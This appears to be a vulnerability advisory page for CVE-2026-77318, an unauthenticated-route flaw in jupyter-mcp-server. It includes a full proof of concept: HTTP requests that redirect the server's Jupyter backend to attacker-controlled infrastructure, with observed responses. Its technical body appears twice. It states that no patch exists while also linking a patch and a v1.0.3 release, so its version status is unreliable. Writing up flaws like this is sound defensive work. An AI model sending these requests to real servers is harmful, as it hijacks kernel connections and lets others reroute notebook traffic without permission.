CVE-2026-77318jupyter-mcp-server Missing Authentication for Critical Function
NVD
Vulnerability Summary
Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` requires `MCP_TOKEN` for `/mcp`, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect`, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing `DELETE /api/stop` route.
The intended authentication boundary is documented in the security guide and enforced during startup:
```text
docs/docs/reference/security/index.mdx:15
All MCP endpoints require Bearer token authentication.
docs/docs/reference/security/index.mdx:25
Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport.
```
The CLI enforces that boundary for the MCP endpoint:
```python
# jupyter_mcp_server/CLI.py:203-209
if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth:
raise click.UsageError(
"streamable-http transport requires MCP client authentication. "
"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to "
"explicitly allow unauthenticated access."
)
```
```python
# jupyter_mcp_server/CLI.py:285-290
if transport == "streamable-http":
if mcp_token:
from jupyter_mcp_server.server import RuntimeTokenVerifier
mcp._token_verifier = RuntimeTokenVerifier(mcp_token)
logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)")
```
The vulnerable route is `jupyter_mcp_server/server.py:143-187`:
```python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
```
`/api/stop` is also unauthenticated and state-changing:
```python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
```
## Proof of concept
Run the affected version:
```bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
```
Send a request to the protected MCP endpoint without credentials:
```http
POST /mcp HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```
Observed response:
```http
HTTP/1.1 401 Unauthorized
www-authenticate: Bearer error="invalid_token", error_description="Authentication required"
```
Now send the unauthenticated management request:
```http
PUT /api/connect HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_DIRECT",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_DIRECT"
}
```
Observed response:
```http
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
```
The server log shows that `/api/connect` accepted the attacker-chosen backend:
```text
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
```
When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:
```text
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_DIRECT
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT
```
## Impact
An attacker does not need the `MCP_TOKEN` to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected `/mcp` endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.
## Why this is a vulnerability, not intended behavior
- This is not the explicit `--insecure-mcp-noauth` mode. The proof runs with `MCP_TOKEN` configured, and `/mcp` correctly returns `401 Unauthorized` without it.
- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.
- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to `/mcp`.
## Remediation
Apply the same inbound authentication policy to every route mounted on the standalone HTTP app:
1. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
2. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
3. Add regression tests proving that `/api/connect` and `/api/stop` reject missing bearer tokens and invalid bearer tokens.
The intended authentication boundary is documented in the security guide and enforced during startup:
```text
docs/docs/reference/security/index.mdx:15
All MCP endpoints require Bearer token authentication.
docs/docs/reference/security/index.mdx:25
Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport.
```
The CLI enforces that boundary for the MCP endpoint:
```python
# jupyter_mcp_server/CLI.py:203-209
if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth:
raise click.UsageError(
"streamable-http transport requires MCP client authentication. "
"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to "
"explicitly allow unauthenticated access."
)
```
```python
# jupyter_mcp_server/CLI.py:285-290
if transport == "streamable-http":
if mcp_token:
from jupyter_mcp_server.server import RuntimeTokenVerifier
mcp._token_verifier = RuntimeTokenVerifier(mcp_token)
logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)")
```
The vulnerable route is `jupyter_mcp_server/server.py:143-187`:
```python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
```
`/api/stop` is also unauthenticated and state-changing:
```python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
```
## Proof of concept
Run the affected version:
```bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
```
Send a request to the protected MCP endpoint without credentials:
```http
POST /mcp HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```
Observed response:
```http
HTTP/1.1 401 Unauthorized
www-authenticate: Bearer error="invalid_token", error_description="Authentication required"
```
Now send the unauthenticated management request:
```http
PUT /api/connect HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_DIRECT",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_DIRECT"
}
```
Observed response:
```http
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
```
The server log shows that `/api/connect` accepted the attacker-chosen backend:
```text
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
```
When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:
```text
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_DIRECT
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT
```
## Impact
An attacker does not need the `MCP_TOKEN` to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected `/mcp` endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.
## Why this is a vulnerability, not intended behavior
- This is not the explicit `--insecure-mcp-noauth` mode. The proof runs with `MCP_TOKEN` configured, and `/mcp` correctly returns `401 Unauthorized` without it.
- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.
- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to `/mcp`.
## Remediation
Apply the same inbound authentication policy to every route mounted on the standalone HTTP app:
1. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
2. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
3. Add regression tests proving that `/api/connect` and `/api/stop` reject missing bearer tokens and invalid bearer tokens.
CVSS v4.0 Base Metrics — Score 7.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:H/SI:H/SA:LAttack VectorNetwork
Attack ComplexityLow
Attack RequirementsPresent
Privileges RequiredNone
User InteractionPassive
Confidentiality (Vulnerable System)Low
Integrity (Vulnerable System)High
Availability (Vulnerable System)Low
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)Low
Affected & Patched Versions
- jupyter-mcp-server <= 1.0.2
No patched version published yet
Until a fix ships, reduce exposure:
- Restrict access to the affected service or interface to trusted networks.
- Disable the affected feature if you do not need it.
- Watch the vendor advisory for a firmware or software update.
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run jupyter-mcp-server and which version.
- No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
- Subscribe to the vendor advisory so you learn when a fix ships.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Nov 19, 2026Published
- Nov 20, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new jupyter-mcp-server CVEsYou are reading CVE-2026-77318. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsMore jupyter-mcp-server CVEs
External References
- Vendor Advisoryhttps://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-24pw-rf5p-mgp7
- CVE Recordhttps://nvd.nist.gov/vuln/detail/CVE-2026-77318
- Patchhttps://github.com/datalayer/jupyter-mcp-server/pull/262
- Patchhttps://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4d246fc5
- Referencehttps://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3
- Referencehttps://github.com/advisories/GHSA-24pw-rf5p-mgp7
Data last checked: Nov 20, 2026 02:00 UTC